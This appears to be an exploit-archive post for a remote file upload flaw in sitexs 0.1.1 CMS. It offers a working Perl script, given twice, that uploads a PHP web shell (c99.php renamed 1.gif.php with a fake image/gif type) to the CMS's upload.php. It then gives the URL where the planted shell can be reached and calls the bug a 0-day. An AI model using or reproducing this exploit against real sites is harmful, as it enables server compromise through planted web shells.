Author : Hadi Kiamarsi ----------------------------------------------------------------------------------
Discovered by : Hadi Kiamarsi ---------------------------------------------------------------------------------- Exploited By : Hadi Kiamarsi ---------------------------------------------------------------------------------- E-Mail : hadikiamarsi[at]hotmail.com ---------------------------------------------------------------------------------- WebSite : http://ircrash.com ---------------------------------------------------------------------------------- Our Team : ircrash ---------------------------------------------------------------------------------- IRCRASH Team Members : Dr.Crash Or Khashayar Fereidani - Hadi Kiamarsi - Malc0de - R3d.w0rm - Rasool Nasr ---------------------------------------------------------------------------------- CMS: sitexs-0.1.1 CMS ( All Version Vulnerable ) Download CMS : http://dfn.dl.sourceforge.net/sourceforge/sitexs/sitexs-0.1.1.tar.gz ---------------------------------------------------------------------------------- Remote File Upload Vulnerability You Must turn on : register_globals = On register_long_arrays=on ----------------------------------------------------------------------------------- Exploit : ----------------------------------------------------------------------------------- #!/usr/bin/perl # Author : Hadi Kiamarsi # Discover By : Hadi Kiamarsi # Exploit By : Hadi Kiamarsi use LWP; use HTTP::Request::Common; $ua = $ua = LWP::UserAgent->new;; $res = $ua->request(POST 'http:www.example.com/[sitexs]/adm/visual/upload.php', Content_Type => 'form-data', Content => [ UPLOAD => ["Your shell file path", "1.gif.php", "Content-Type" => "image/gif"],submit => 'true',type => 'images',path => '',process => 'true', ], ); print $res->as_string(); ----------------------------------------------------------------------------------- you for use this exploit . you must your shell file exists in exploit directory then excute exploit you find your shell in below link www.example.com/[sitexs]/images/1.gif.php www.example.com/[sitexs]/images/[shell][.php] ----------------------------------------------------------------------------------- Example : ----------------------------------------------------------------------------------- #!/usr/bin/perl # Author : Hadi Kiamarsi # Discover By : Hadi Kiamarsi # Exploit By : Hadi Kiamarsi use LWP; use HTTP::Request::Common; $ua = $ua = LWP::UserAgent->new;; $res = $ua->request(POST 'http://localhost/adm/visual/upload.php', Content_Type => 'form-data', Content => [ UPLOAD => ["c99.php", "1.gif.php", "Content-Type" => "image/gif"],submit => 'true',type => 'images',path => '',process => 'true', ], ); print $res->as_string(); ----------------------------------------------------------------------------------- this bug is 0-Day -----------------------------------------------------------------------------------
